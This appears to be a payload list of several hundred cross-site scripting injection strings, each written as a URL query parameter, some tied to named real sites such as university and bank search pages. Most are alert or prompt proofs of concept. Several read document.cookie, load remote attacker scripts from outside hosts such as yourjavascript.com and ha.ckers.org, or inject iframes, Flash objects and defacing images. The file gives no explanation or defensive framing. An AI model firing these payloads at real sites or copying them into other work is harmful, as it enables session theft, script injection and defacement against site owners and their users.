&q=%27;alert%28/XSSPOSED%29//\\%27;alert%281%29//%22;alert%282%29//\\%22;alert%283%29//--%3E%3C/SCRIPT%3E%22%3E%27%3E%3CSCRIPT%3Ealert%28/XSSPOSED/%29%3C/SCRIPT%3E=&{}%22%29;}alert%286%29;function+xss%28%29{//&q=%27;alert%280%29//\\%27;alert%281%29//%22;alert%282%29//\\%22;alert%283%29//--%3E%3C/SCRIPT%3E%22%3E%27%3E%3CSCRIPT%3Ealert%28/XSSPOSED/%29%3C/SCRIPT%3E=&{}%22%29;}alert%286%29;function+xss%28%29{//
&q=%27;}--%3E%3C/script%3E%3Cscript%3Ejavascript:alert(/XSSPOSED/)%3C/script%3E
&q=%3C/script%3E%3Cscript%3Ejavascript:alert(/XSSPOSED/)%3C/script%3E
&q=%3C/title%3E%3Cscript%3Ealert%28%22XSS%22%29%3C/script%3E%3Ctitle%3E&s=Search
&q=%3C/title%3E%3Cscript%3Ealert%280%29%3C/script%3E%3Ctitle%3E&mpb=1&SearchSourceOrigin=19
&q=%3CBODY+ONLOAD+%3Dalert('XSS')%3E
&q=%3CSCRIPT%3Ealert%28String.fromCharCode%2888%2C83%2C83%29%29%3C%2FSCRIPT%3E&cmd=ok&typeSearch=web&x=0&y=0
&q=%3CSCRIPT%3Ealert(%22VOTE%20FOR%20ZACH%20ANNER!%22)%3C/script%3E
&q=%3Cbody%20onload=alert%28%22XSS%22%29%3E
&q=%3Cbody%20onload=alert(%22XSS%22)%3E
&q=%3Cbody+onload%3Dalert(%22XSS%22);%3E
&q=%3Cscript%2Fxss%3Ealert%28%2FXSSPOSED%2F%29%3C%2Fscript%2Fxss%3E
&q=%3Cscript%3E+alert(%22XSSPOSED%22)%3C/script%3E
&q=%3Cscript%3Ealert%28%221%22%29%3C/script%3E
&q=%3Cscript%3Ealert%28%22XSS%22%29%3b%3C%2fscript%3E&p=0
&q=%3Cscript%3Ealert%28%22XSS%22%29;%3C/script%3E
&q=%3Cscript%3Ealert%28%27X-D+xss+again+%3A-%28%27%29%3C%2Fscript%3E&xsubmit=Search
&q=%3Cscript%3Ealert%28%27xss%27%29%3C/script%3E
&q=%3Cscript%3Ealert%28document.cookie%29%3C%2Fscript%3E
&q=%3Cscript%3Ealert(%22XSS%22)%3C/script%3E
&q=%3Cscript%3Ealert('Hello%20Reddit');%3C/script%3E
&q=%3Cscript%3Ealert(0);%3C/script%3E&hobSearch.x=0&hobSearch.y=0
&q='%29;}%20alert%28/XSS/.source%29;%20function%20dub%28a%29%20{//
&q=');};alert(%22XSS%22);//
&q=';%3C/script%3E%3Cscript%3Ealert(0);%3C/script%3E
&q=';alert(String.fromCharCode(88,83,83))//\\';alert(String.fromCharCode(88,83,83))//%22;alert(String.fromCharCode(88,83,83))//\\%22;alert(String.fromCharCode(88,83,83))//--%3E%3C/SCRIPT%3E%22%3E'%3E%3CSCRIPT%3Ealert(String.fromCharCode(88,83,83))%3C/SCRIPT%3E
&q=/></script><script>alert('XSS');</script>
&q=0\\"autofocus/onfocus=alert(/XSSPO+SED/)--><video/poster/onerror=prompt(/XSSPOSED/)>"-confirm(/XSSPOSED/)-"
&q=0\\%22autofocus%2Fonfocus%3Dalert%28%2FXSSPO+SED%2F%29--%3E%3Cvideo%2Fposter%2Fonerror%3Dprompt%28%2FXSSPOSED%2F%29%3E%22-confirm%28%2FXSSPOSED%2F%29-%22&label=Department+of+Psychology&site=psych.ubc.ca
&q=<script>alert%28"XSS"%29</script>
&q=<script>alert('0');</script>
&q=<script>alert('0')</script>
&q=<script>alert(/XSSPOSED/)</script>
&q=I hope Matt can stand a joke"%3Cscript%3Ealert%28%22XSS%22%29%3C/script%3E&searchappbutton.x=0&searchappbutton.y=0&t=simple
&q=Psycho_Mantis%22%3E%3Csvg/onload=alert(document.domain)%3C%22
&q=Quadrocopter</span ><script>alert(/XSSPOSED/);</script>
&q=XSSPOSED%27%29;};%3C/script%3E%3Cscript%3Ealert%28%20/XSSPOSED/%29%3C/script%3E%27
&q=a";alert('xss!!!');x="&offset=0&submit=Go
&q=a&r=home_home&p=bigtop'style='position:fixed;left:0;top:0;width:10000px;height:10000px'onmouseover='alert(0)
&q=aaaa%22%3E%3Cscript%20type=text/javascript%3Ealert%28%27XSSPOSED%27%29%3C/script%3E%3Cimg%20src=%22http://duckduckgo.com/assets/logo_homepage.normal.v101.png%22%3E%3C/img%3E
&q=as"><script src="http://www.yourjavascript.com/38310202111/xss.js">
&q=asd%22%3E%3Cscript+src=%22http://www.yourjavascript.com/38310202111/xss.js%22%3E&x=0&y=0
&q=constructor0alert(document.cookie)&kl=split&kp='%0Ax=(&ks=,rq)[&kw=,kl](&ka=|0)%0A&kt=%0Ay=(&ky=,x[&kk=,0])%0A&kf=%0Az=(&kc=,x[&ke=,1])%0A&kr=%0Ay=y[&ko=,y][&kj=,y]%0A&kz=%0Ay(&kg=%2Bz)(&kh=)%0A'
&q=foobar&after=fizzbuzz
&q=fox"%29;%20alert%28"XSS"%29;//&submit=Search
&q=hi.com%27%20style%3d%27height:10000px%27%20onmouseover%3d%27alert%28%22xss%22%29
&q=oreally&submit=SEARCH&DYM=oreilly&u1=%27;!--%22%3E%3Cscript%3Ealert%28document.cookie%29%3C/script%3E
&q=test&max=100&adv_age=1100&server=%22%3E%3Cscript%3Ealert%28%27xss%27%29%3C/script%3E
&q=wewt%3C/title%3E%3Cscript%3Ealert%28%27XSS%27%29;%3C/script%3E
&q=xss
&qh=§ion=&q=';alert(0)//
&qry=duh&searchKey=television&skp=17_163&tgt=%27;!--%22%3E%3Cembed%20width=600%20height=500%20src=http://www.youtube.com/v/8n1hKQULa9Y%3E
&qs=manutd_frontend&catTxt=All&searchText=<script>alert('XSS')</script>
&qt=%27%3Balert%28%2FXSSPOSED%29%2F%2F\\%27%3Balert%281%29%2F%2F%22%3Balert%282%29%2F%2F\\%22%3Balert%283%29%2F%2F--%3E%3C%2FSCRIPT%3E%22%3E%27%3E%3CSCRIPT%3Ealert%28%2FXSSPOSED%2F%29%3C%2FSCRIPT%3E%3D%26{}%22%29%3B}alert%286%29%3Bfun
&qt=%3Cscript%3Ealert(%22XSS%22)%3C/script%3E&published=on&active_tab=site
&qt=i&rt=r&w0=%27%22%3E%3C/title%3E%3Cscript%3E%20alert%28%22XSSPOSED%22%29%3C/script%3E%3E/
&query=%22%3E%3Cbody%2Fonpageshow%3D%28alert%29%28%2FXSSPOSED%2F%29%3E
&query=%22%3E%3Cscript%20type=%22javascript%22%3E%3C/script%3E
&query=%22%3E%3Cscript%3Ealert%28%27XSS%27%29%3C/script%3E
&query=%22;//--%3E%22%3E%27%3E%3Cscript%3Ealert%28%270%27%29;%3C/script%3E
&query=%22;alert%28%27XSS%27%29;s.prop1=%22
&query=%27%22%3E%3C/script%3E%3Cmarquee/onstart=confirm%28document.domain%29%3E%3E&activeTabIndex=1&searchContext=Personal&loggedIn=false&site=shop
&query=%27%3Balert%28%2FXSSPOSED%29%2F%2F\\%27%3Balert%281%29%2F%2F%22%3Balert%282%29%2F%2F\\%22%3Balert%283%29%2F%2F--%3E%3C%2FSCRIPT%3E%22%3E%27%3E%3CSCRIPT%3Ealert%28%2FXSSPOSED%2F%29%3C%2FSCRIPT%3E%3D%26{}%22%29%3B}alert%286%29%3Bfunction%2Bxss%28%29{%2F%2F%26q%3D%27%3Balert%280%29%2F%2F\\%27%3Balert%281%29%2F%2F%22%3Balert%282%29%2F%2F\\%22%3Balert%283%29%2F%2F--%3E%3C%2FSCRIPT%3E%22%3E%27%3E%3CSCRIPT%3Ealert%28%2FXSSPOSED%2F%29%3C%2FSCRIPT%3E%3D%26{}%22%29%3B}alert%286%29%3Bfunction%2Bxss%28%29{%2F%2F&publication=TAL+2008&x=0&y=0
&query=%3Cscript%3E+alert%28%22XSS%22%29%3B+%3C%2Fscript%3E&page=1&hitsPerPage=25&sortBy=RELEVANCY&lang=English&srchIn=ALLRESEARCH&src=&athrT=10&cmpT=10&pgT=10&_xpn=false
&query=%3Cscript%3Ealert%28%22XSS%22%29%3B%3C%2Fscript%3E&x=0&y=0
&query=%3Cscript%3Ealert%28%27XSS%27%29%3C%2Fscript%3E
&query=%3Cscript%3Ealert%28document.cookie%29%3C%2Fscript%3E&mode=author
&query=%3Cscript%3Ealert(%22xss%22)%3C/script%3E&src=en&dst=en&v=1.0
&query=1%22+onmouseover=alert%28String.fromCharCode%2867,108,105,99,107,32,79,75,32,105,102,32,121,111,117,32,112,114,101,102,101,114,32,67,111,99,97,45,67,111,108,97,46%29%29+
&query=<script>alert('XSS')</script>
&query=Search+RMRS...%22%3E%3Cscript%3E%2B-%2B-1-%2B-%2Balert%28%2FXSSPOSED%2F%29%3C%2Fscript%3E
&query=Search-word%3Cscript%3Ealert('Sup%20reddit
&query=XSS&ps=&loc=searchbox&tab=web&currProv=lygo&mode=&dfi=<script>alert%28"XSS"%29</script>
&query=aal%22%3E%3Cscript%3Ealert%28%27xss%27%29%3C/script%3E&x=0&y=0
&query=bibit&start=85&search=1&results=10%22%27/%3E%3Cscript%3Ealert%28%27XSS%27%29%3C/script%3E
&query=psychomantis&store_name=\\%27,init%29%29;}if%281==1%29{confirm%28/XSSPOSED/%29;//
&query=xss protection&siteAlias="<img src="http://thumbs.reddit.com/t5_2qxe8.png
&queryText=">'><script>alert('0')</script>
&queryText=%22/%3E%3CscRipt%3Ealert%28%22XSS%22%29%3C/scRipt%3E
&queryType=nonparsed&query="<marquee><img src="http://thumbs.reddit.com/t5_2qxe8.png
&querystring='-prompt(%22XSS%22)-'&submit=+Search+&view=internal&pubName=sol&p=sun&bl=on&navigators=&offset=0&sortby=
"><img src=x onerror=confirm(1);>
"onmouseover="alert(1)
&redirAuth=nauth&s_cu=javascript:alert%28/XSSPOSED/%29
&redirectUri=%22%2f%3e%3c%6d%61%72%71%75%65%65%3e%6c%6f%6c%3c%2f%6d%61%72%71%75%65%65%3e
&ref=%22/%3E0\\%22autofocus/onfocus=alert%28/XSSPO%20SED/%29--%3E%3Cvideo/poster/onerror=prompt%28/XSSPOSED/%29%3E%22-confirm%28/XSSPOSED/%29-%22
&reqCode=browseBASEE&myEmsbarCode=0680127282884&mailNum="/><script>alert%28%22XSS%22%29</script><span %22&optijiaot.x=29&optijiaot.y=7&D0D14672D61192C57F6E4C7=7%23pg
&res=');%3C/script%3E%3Ciframe%20width=500%20height=500%20src=//bit.ly/1628nB%3E%3C!--
&return=%22%3Cscript%3Ealert%28%22xss%22%29%3C/script%3E
&returnto=%22%3Cimg%20src=%22http://thumbs.reddit.com/t5_2qxe8.png
&rm=listresults&filter=datedesc&keywords=%3C/script%3E%3Cscript%20src=http://goonmaster.agilityhoster.com/replace.js%3E%3C/script%3E%3Cscript%3E&x=0&y=0
&rtn='+alert('XSS')+'&st=1&email=lol@lol.com
&s="><script>alert(String.fromCharCode(88,83,83))</script>
&s=%22%2F%3E%3Cscript%3Ealert%28%27xss%27%29%3B%3C%2Fscript%3E&searchtype=IT+Blogs&x=0&y=0
&s=%22%3E%3C/script%3E%3Cbody/onfocus=%28alert%29%28/XSSPOSED/%29%3E
&s=%22%3E%3Cscript%3Ealert%28%22XSS%22%29;%3C/script%3E
&s=%27%22%3E%3C%2Ftitle%3E%3Cscript%3E+alert%28%22XSSPOSED%22%29%3C%2Fscript%3E%3E%2F
&s=%3C/title%3E%3Cbody+onload%3Dalert(1)%3E&Search=Search&comic=23&show=advanced&b=1&t=1
&s=%3Cscript%3Ealert(%22XSS%22);%3C/script%3E
&s=%3Cscript%3Ealert(0)%3C/script%3E
&s='%29;%20alert%28'XSS
&s=';alert(0)//
&s=0\\%22autofocus%2Fonfocus%3Dalert%28%2FXSSPO+SED%2F%29--%3E%3Cvideo%2Fposter%2Fonerror%3Dprompt%28%2FXSSPOSED%2F%29%3E%22-confirm%28%2FXSSPOSED%2F%29-%22
&s=XSSPOSED%27%29;};%3C/script%3E%3Cscript%3Ealert%28%20/XSSPOSED/%29%3C/script%3E%27
&s=asd%3Cscript%3Ealert(/XSSPOSED/)%3C/script%3E
&s=m"><script>alert('xss')</script>
&s=t&q=%27;alert%28/XSSPOSED%29//\\%27;alert%281%29//%22;alert%282%29//\\%22;alert%283%29//--%3E%3C/SCRIPT%3E%22%3E%27%3E%3CSCRIPT%3Ealert%28/XSSPOSED/%29%3C/SCRIPT%3E=&{}%22%29;}alert%286%29;function+xss%28%29{//&q=%27;alert%280%29//\\%27;alert%281%29//%22;alert%282%29//\\%22;alert%283%29//--%3E%3C/SCRIPT%3E%22%3E%27%3E%3CSCRIPT%3Ealert%28/XSSPOSED/%29%3C/SCRIPT%3E=&{}%22%29;}alert%286%29;function+xss%28%29{//l=dir&qsrc=2891&o=10300
&s=test%22%3E%3Cscript%3Ealert%281%29%3C/script%3Ehello&lang=en
&sDNSLookup=ANY&fDNSLookup=davealger.info
&sType=BEGINSECURE&sProcess_Name="><script>alert('XSS')</script>
&s_all=1%3E%22%3E%3CScRiPt%20%0A%0D%3Ealert%28String.fromCharCode%2888,83,83%29%29%3B%3C/ScRiPt%3E&s_any=1%00%22%27%3E%3CScRiPt%20%0A%0D%3Ealert%28String.fromCharCode%2888,83,83%29%29%3B%3C/ScRiPt%3E.&s_exact=1%00%27%22%3E%3CScRiPt%20%0A%0D%3Ealert%28String.fromCharCode%2888,83,83%29%29%3B%3C/ScRiPt%3E.&s_without=1%00%22%27%3E%3CScRiPt%20%0A%0D%3Ealert%28String.fromCharCode%2888,83,83%29%29%3B%3C/ScRiPt%3E&action=search
&search="><script type="text/javascript">alert("Hello Dave");</script>
&search="><script>alert('0');</script>
&search="><script>alert('XSS')</script>
&search="><script>alert(String.fromCharCode(88,83,83))</script>
&search=%22%2F%3E%3Cscript%3Ealert%28%27xss%27%29%3B%3C%2Fscript%3E
&search=%22%3E%3Cscript%3Ealert%28/XSS/.source%29%3C/script%3E
&search=%22%3E%3Cscript%3Ealert(0);%3C/script%3E&button=GO
&search=%27%22%3Cmarquee%3E%3Cimg+src=x+onerror=confirm%28/XSSPOSED/%29%3E
&search=%3CSCRIPT/SRC%3D%22http://ha.ckers.org/xss.js%22%3E%3C/SCRIPT%3E&st=0&submit=Search
&search=%3Cbody%20onload=alert(%22XSS%22)%3E
&search=%3Cdiv+style%3D%22width%3A100%25%3Bheight%3A100%25%3Bposition%3Aabsolute%3Btop%3A0%3Bleft%3A0%22+onmouseover%3D%22alert%280%29%3B%22%3E%3C%2Fdiv%3E
&search=%3Ciframe%20src='http://reddit.com/r/xss'%20width='500'%20height='600'%3E%3C/iframe%3E
&search=%3Cimg%20src=http://hacktalk.net/pwnt.png%20/%3E
&search=%3Cobject+width%3D%22425%22+height%3D%22344%22%3E%3Cparam+name%3D%22movie%22+value%3D%22http://www.youtube.com/v/0Bmhjf0rKe8%26color1%3D0xb1b1b1%26color2%3D0xcfcfcf%26hl%3Dnl_NL%26feature%3Dplayer_embedded%26fs%3D1%22%3E%3C/param%3E%3Cparam+name%3D%22allowFullScreen%22+value%3D%22true%22%3E%3C/param%3E%3Cparam+name%3D%22allowScriptAccess%22+value%3D%22always%22%3E%3C/param%3E%3Cembed+src%3D%22http://www.youtube.com/v/0Bmhjf0rKe8%26color1%3D0xb1b1b1%26color2%3D0xcfcfcf%26hl%3Dnl_NL%26feature%3Dplayer_embedded%26fs%3D1%26autoplay%3D1%22+type%3D%22application/x-shockwave-flash%22+allowfullscreen%3D%22true%22+allowScriptAccess%3D%22always%22+width%3D%22425%22+height%3D%22344%22%3E%3C/embed%3E%3C/object%3E&submit.x=0&submit.y=0
&search=%3Cscript%3Ealert%28%22XSS%22%29%3C/script%3E
&search='';!--%22%3Cscript%3Ealert('Hello%20Reddit')%3C/script%3E&category=artisttitle
&search=1%22+onmouseover=alert%28String.fromCharCode%2877,111,117,115,101,79,118,101,114,32,87,105,110,33%29%29+&mode=anywords&submit=Go
&search=<body onload=alert%28%22XSS%22%29>&x=0&y=0
&search=<script>alert(document.cookie)</script>
&search=ads%22%3E%3Cscript%3Ealert%28%27xss%27%29%3C/script%3E&ci=1
&search=simple&queryText=%22%3E%3Cscript%3Ealert%28%22XSS%22%29%3C/script%3E%3Cimg%20src=%22&collection=us
&search=site&searchbutton=Go&keywords=%22%3E%3C/script%3E%3Cscript%3Ealert%28%27XSS%27%29%3C/script%3E
&searchInput=%22;%20window.onload=function(){alert(0);}//
&searchPhrase=super%20hijack%20fun%20time+%3Ci%3E%3Cobject%20data=%22http://www.mustardlab.com/developer/fun/flashbomb.swf%22%20type=%22application/x-shockwave-flash%22%3E%3Cparam%20name=%22movie%22%20value=%22http://www.mustardlab.com/developer/fun/flashbomb.swf%22%20/%3E%3Cparam%20name=%22allowScriptAccess%22%20value=%22always%22%20/%3E%3Cparam%20name=%22FlashVars%22%20value=%22swfsrc=http://www.mustardlab.com/developer/fun/dance.swf%22%20/%3E%3C/object%3E%3C/i%3E&listViewSize=&indexStart=0&sortBy=&sortOrder=&categories=&skucolor=&priceLow=&priceHigh=&skusize=&brand=
&searchString=%22;alert%28%27XSS%27%29;//&searchSubmit=
&searchString=asd%22%3E%3Cscript+src%3D%22http%3A%2F%2Fwww.yourjavascript.com%2F38310202111%2Fxss.js%22%3E&ctry=us&button=Go
&searchTerm="><svg onload='a=alert;a("XSSPOSED")'><"&defaultSearch=None&search=
&searchTerm=';alert(document.cookie);}//&search=
&searchText=%22---%3Cscript%3Ealert(%22Hello%20Reddit%22);%3C/script%3E&imprint=000®ion=9&searchType=As&searchBy=subTitle&search_dropdown=0
&searchType=0&service=BRN&serviceType=BRN&partner=&ZIP=60510&street="><script>alert('XSS')</script>
&searchType=global&N=0&Ntt=;!--"<iframe src='http://reddit.com/r/xss' width='1024' height='600'></iframe>
&search_keywords=zo%3Cbody%20onload=alert(%22XSS%22)%3E
&search_string=%22%3E%3Cscript/xss%3Ealert%28/XSSPOSED/%29%3C/script/xss%3E
&search_tag=hoi%22%3E%3Cbody%20onload=alert%28%22XSS%22%29%3E
&search_term=%22%3E%3Cimg%20src%3Dhttp://i.imgur.com/KYRF0.jpg%20height%3D600%20width%3D450%3E
&search_text=%22;alert%28%22XSS%22%29;//&sort=date&x=0&y=0
&searchfor=%22/%3E%3Cscript%3Ealert%28%22XSS%22%29%3C/script%3E%3Cdiv%20%22&incWriters=&incPublishers=&incArtists=&incAltTitles=&TypeOfSearch=title
&searchinput=alert(0);</script>">'><script>alert(0);</script>
&searchitems='"/><script>alert%28String.fromCharCode%2888,83,83%29%29</script>&search=Search
&searchstring=%22onfocus=%22alert(document.cookie)%22autofocus=%22&searchtype=allproducts&searchsource=0
&searchstring=%22onmouseover=%22alert%28%27XSS%27%29
&searchterm=%3CsVg%2FOnLOaD%3Dprompt%28%2FXSSPOSED%2F%29%3E&searchpath=%2Fcontent%2Fngaweb%2Fglobal-site-search-page&pageNumber=1
&searchterm=%3Cscript%3Ealert%28%27xss%27%29;%3C/script%3E
&searchtext=%3Cscript%3Ealert%28%22xss%22%29%3B%3C%2Fscript%3E&action=search
&searchtext=%3Cscript%3Ealert%280%29%3C%2Fscript%3E&x=0&y=0
&show=24&brand=a"/><svg/onload="a=alert;a('XSS')
&sid=&p=&q=%27*alert%28%27XSS%27%29*%27
&site=NYUWeb_Main&client=its_new_frontend&output=xml_no_dtd&proxystylesheet=its_new_frontend&proxyreload=1&sitesearch=www.nyu.edu/its&q=%22/%3E%3Cbody+onload%3Dalert%28%22XSS%22%29%3E&submit.x=0&submit.y=0
&site=stern_collection&client=stern_frontend&output=xml_no_dtd&proxystylesheet=stern_frontend&q=0\\%22autofocus%2Fonfocus%3Dalert%28%2FXSSPO+SED%2F%29--%3E%3Cvideo%2Fposter%2Fonerror%3Dprompt%28%2FXSSPOSED%2F%29%3E%22-confirm%28%2FXSSPOSED%2F%29-%22&x=9&y=4
&site=wnews&client=wnews&output=xml_no_dtd&ie=UTF-8&oe=UTF-8&filter=p&getfields=wnnis&sort=date:D:S:d1&lr=-lang_ja&proxystylesheet=wnews&partialfields=-wnnis:NOAVSYND&q=%27%3Balert%28String.fromCharCode%2888%2C83%2C83%29%29%2F%2F\\%27%3Balert%28String.fromCharCode%2888%2C83%2C83%29%29%2F%2F%22%3Balert%28S
&site=www.aegonbank.nl&mediasurface_target=/%3Fview%3DSearch%2Bresults&view=Search+results&freesearch=%3Cbody%20onload=alert%28%22XSS%22%29%3E
&siteId="<img src="http://thumbs.reddit.com/t5_2qxe8.png
&sitearea=o2shop&query=%22%3Cscript%3Ealert(0)%3C/script%3E
&sku=%3Cscript%3Ealert%28%27xss%27%29%3C%2Fscript%3E&shopid=100001&_requestid=426505
&sl='"--></style></script><script>alert(document.cookie)</script>
&smartapi!celexapi!prod!CELEXnumdoc&lg=en&numdoc=21994A0103%2801%29&model=guichett%22%3E%3Cscript%3Ealert%28/XSSPOSED/%29%3C/script%3E%27%22%3E
&sortBy=mngi&similarTo=&similarType=find&type=any&aff=3&view=entiresitesppublished&query=PsychoMantis%27/confirm(/xssposed/)/%27
&source="><script>alert(String.fromCharCode(88,83,83))</script>
&source=20121104_final_push_video#!/
&spage=%27;alert%28/XSSPOSED%29//\\%27;alert%281%29//%22;alert%282%29//\\%22;alert%283%29//--%3E%3C/SCRIPT%3E%22%3E%27%3E%3CSCRIPT%3Ealert%28/XSSPOSED/%29%3C/SCRIPT%3E=&{}%22%29;}alert%286%29;function+xss%28%29{//&q=%27;alert%280%29//\\%27;alert%281%29//%22;alert%282%29//\\%22;alert%283%29//--%3E%3C/SCRIPT%3E%22%3E%27%3E%3CSCRIPT%3Ealert%28/XSSPOSED/%29%3C/SCRIPT%3E=&{}%22%29;}alert%286%29;function+xss%28%29{//
&src=%22%3E%3Cscript%3Ealert%28/XSSPOSED/%29%3C/script%3E
&src=%27%22--%3E%3C/style%3E%3C/script%3E%3Cscript%3Ealert%28%27xss%27%29%3C/script%3E
&src=/images/diagrams/webmarshal_large.gif&w="><script>alert('XSS')</script>
&ss=1&p=1&country=ve&producto="><script>alert(String.fromCharCode(88,83,83))</script>
&start="><script>alert(String.fromCharCode(88,83,83))</script>
&start=%22%3E%3Cscript%3Ealert(String.fromCharCode(88,83,83))%3C/script%3E
&start=41&perpage=10&col=ndguard&summary="'/><script>alert(String.fromCharCode(88,83,83))</script>
&status=XSS%2Bhttp%253A%252F%252F%27%26alert%28%22XSS%22%29%26%27
&storeId=10151&langId=-1&catalogId=10051&N=0&newSearch=true&Ntt=%22%3Ciframe%20src=%22http://reddit.com/r/xss%22%20width=%22800%22%20height=%22600%22
&storeId=10701%3Cscript%3Ealert%28String.fromCharCode%2888,83,83%29%29%3C/script%3E&catalogId=10051
&str="><script>alert(String.fromCharCode(88,83,83))</script>
&styper=query&sword=%3Cscript%20/***/%3E/***/confirm%28document.domain%29/***/%3C/script%20/***/&Start+Search.x=0&Start+Search.y=0
&subSection=%3Cscript%3Ealert(%22XSS%22)%3C/script%3E&headParams=management
&success_page=%2F%22%3E%3Ch1%3EXSS%20by%20PsychoMantis%3C/h1%3E%27%22%3E%3C/title%3E%3Cscript%3E%20alert%28%22XSSPOSED%22%29%3C/script%3E%3E/
&symb=%22%3Cscript%3Ealert%28document.cookie%29;%3C/script%3E%3Ca
&t=1&cve_id="</title><body onload=alert("XSS")>
&t=2444
&tab=searchtabgeneraldark&MT=%22%3E%3Cbody%20onload=alert%28%22XSS%22%29%3E
&tag=%22%3E%3Cscript%20src%3d//ckers.org/s%3E%3C/script%3E
&tbid="><script>alert('XSS')</script>
&teamno=&type=%22%3E%3Cscript%3Ealert%28%270%27%29;%3C/script%3E
&template=en_search_error&postalCode=\\';alert(0)//
&term="%20onfocus="if%28!this.a%29{alert%28String.fromCharCode%2888,83,83%29%29}this.a=1;"%20AUTOFOCUS/>
&term="</title><script>if (!window.xss) { window.xss=1; alert("XSS"); }</script>&start=0
&term=%22%3C/script%3E%3Cscript%3Ealert%28%22xss%22%29%3B%3C%2Fscript%3E%3C!--
&term=%3C%62%6F%64%79%20%6F%6E%6C%6F%61%64%3D%61%6C%65%72%74%28%22%58%53%53%22%29%3E
&term=<script>alert("HI REDDIT")</script>
&text=%3C%2Fgrkgnern%3E%3Cfpevcg%3Enyreg%280%29%3C%2Ffpevcg%3E
&text=%3Cscript%3Ealert(%22XSS%22);%3C/script%3E
&text=%3Cscript%3Ealert('test')%3C/script%3E
&text=awdawdawd%27%3balert%28%22xss%22%29%3b%2f%2f
&text=file-sharing/universities&page="><script>alert('XSS')</script>
&theStyle=COABETA&lang=en%22%3E%3Cscript%3Ealert%28%22Silly%20NRO,%20XSS%20is%20for%20kids!%22%29;document.write%28%22%3Cimg%20src=%27http://img651.imageshack.us/img651/2102/6a00d83451c49a69e201348.jpg%27%20style=%27display:block;position:absolute;top:0;left:0;%27/%3E%22%29;%3C/script%3E
&title="><script>alert('XSS')</script>
&titleOrPublisher=%3Cbody%20onload=alert(%22XSS!%22)%3E&searchType=title&rating=&ratingsCriteria=&platforms=&platformsCriteria=&searchVersion=compact&content=&searchType=title&contentCriteria=&newSearch.x=38&newSearch.y=11
&topic=%22%20onload=%22alert%28'XSS'%29
&topic=The%20O%27Reilly%20Store%3E%3C/title%3E%3C/head%3E%3Cbody%20onload=%22alert%28%27Fuck%20it!%20We%60ll%20do%20it%20live!%27%29;%22%20%3E%3Cimg%20src=%22http://bit.ly/h52DeS%22%20style=%22position:absolute;top:0;left:0;width:250px%22/%3E
&tree=411"><script>alert(String.fromCharCode(88,83,83))</script>
&true&lenta=1'"\\></title><svg/onload=confirm(/xssposed/)>
&type="><script>alert('XSS')</script>
&type=City&city=%22--%3E%3Cscript%3Ealert%28/XSSPOSED/%29%3C/script%3E
&type=itpPeople&pageLength=5&q=0\\%22autofocus%2Fonfocus%3Dalert%28%2FXSSPO+SED%2F%29--%3E%3Cvideo%2Fposter%2Fonerror%3Dprompt%28%2FXSSPOSED%2F%29%3E%22-confirm%28%2FXSSPOSED%2F%29-%22
&type=keywords&term='};alert('hi');a(function(){a(function(){%2f*&location=&CMP=AFC-NLCN&x=9&y=6
&u="><script>alert(String.fromCharCode(88,83,83))</script>
&uGlobalSearch=%22%3E%3Ch1+onmouseenter%3Dconfirm%28%2Fxssposed%2F%29%3E
&uem=%3Cscript%3Ealert(%27%2b/hi/.toString().substring(1,3))%3C/script%3E
&uq=and(/></script><script>alert('0');</script>)
&url=%22%3E%3Cscript%3Ealert('XSS')%3C/script%3E
&url=*/%22%3E%3C/textarea%3E%3Cscript%3Ealert(&title=1%22);%3C/script%3E
&url=http://m.mtv.com&css=%22%3E%3Cimg+src%3DX+onerror%3Dalert%28%22xssposed%22%29%3E
&url=iel5%2F8945%2F28322%2F01266233.pdf%3Farnumber%3D1266233"><script>alert(String.fromCharCode(88,83,83))</script>
&url=javascript:alert%28document.domain%29
&url=javascript:alert(0)
&us=ndmnews&as="><img%20src="http://imgur.com/images/mario-404.gif"</>&q=a
&user=<script>alert('Hey reddit')</script>
&utilitycode=wxKzWlc34-1765&newMemberText=%3Cp%3E%3Cb%3EEasiest%20XSS%20ever!%20Holy%20crap!%3C/b%3E%3C/p%3E%3Cscript%3Ealert%28%27xss%27%29%3C/script%3E
&utm_source=feedburner&utm_medium=feed&utm_campaign=Feed%3A+zdnet%2Fsecurity+%28ZDNet+Zero+Day%29&utm_content=Google+Reader
&utm_source=twitterfeed&utm_medium=twitter
&v=';alert();a='
&v=s_78bk3dZcc
&v=xss'%3E%3C/a%3E%3Cscript%20src%3D%22http://www.yourjavascript.com/38310202111/xss.js%22%3E%3C/script%3E
&v=zTD4CYnm34c
&video_query=%27%27}}%29%3Balert%28%27XSS%27%29%3Bvar%20a%3D%28{b%3A{b%3A%27
&wBumper=fullexternal&advertiser=%27;}--%3E%3C/script%3E%3Cscript%3Ejavascript:prompt%28/XSSPOSED/%29%3C/script%3E
&wd=%3Cimg+src%3D%40+onerror%3Dalert%282
&where=%3Cbody%20onload=alert%28/XSS/.source%29%3E
&where=%3Cscript%3Ealert%28%27xss%27%29%3C%2Fscript%3E&loctypes=1003%2C1001%2C1000%2C1%2C9%2C5%2C11%2C13%2C19%2C20&from=hdr_localsearch
&woord=%3Cbody%20onload=alert('XSS')%3E
&word=%3Cscript%3Ealert%28/XSS/.source%29;%3C/script%3E
&words=%22%3E%3Cscript%3Ealert(String.fromCharCode(88,83,83))%3C/script%3E
&wpmlmethod=optin&wpmlformid="><script>alert(String.fromCharCode(88,83,83))</script>
&x=0&y=0&q=%22%3E%3Cinput%20type=%22search%22%20onsearch=prompt(/XSSPOSED/)%20%20autofocus%3E%3C---Press+Enter++Mini+Textbox+To+trigger
&x=0&y=0&s=%3Cbody%20onload=alert(%22XSS%22)%3E
&xfrom=1&search=%3Cscript%3Ealert%28document.cookie%29;%3C/script%3E&ind=1&zoek1=yes
&yr=%3Cbody%20background=http://i.imgur.com/dUS0k.gif%3E&month=05
&zipcode="><script>alert(String.fromCharCode(88,83,83))</script>
&zoekterm=%3Cscript%3Ealert(document.cookie);%3C/script%3E
&zoom_query=FFFFUUUUUroot@fbi.fun&zoom_per_page=AWWWWYEEEEEEAH&zoom_and=0&zoom_sort=1%3E%22%3E%3CScRiPt%20%3Ealert%28String.fromCharCode%2878,111,32,114,101,115,117,108,116,115,32,102,111,114,32,34,85,115,101,102,117,108,32,73,110,102,111,114,109,97,116,105,111,110,34%29%29;%3C/ScRiPt%3E
&{alert(1);};
&{document.cookie=true;};
' '><script>alert(1)</script>
' autofocus onkeyup='javascript:alert(123)
' autofocus onkeyup='javascript:alert(24)
' onfocus=JaVaSCript:alert(11) autofocus
' onfocus=JaVaSCript:alert(123) autofocus
' onmouseover=confirm(document.location)
' style='width:expression(prompt(1));
' style=abc:expression(X) ' \" style=abc:expression(X) \"
'"()=<z>
'"(){}[];
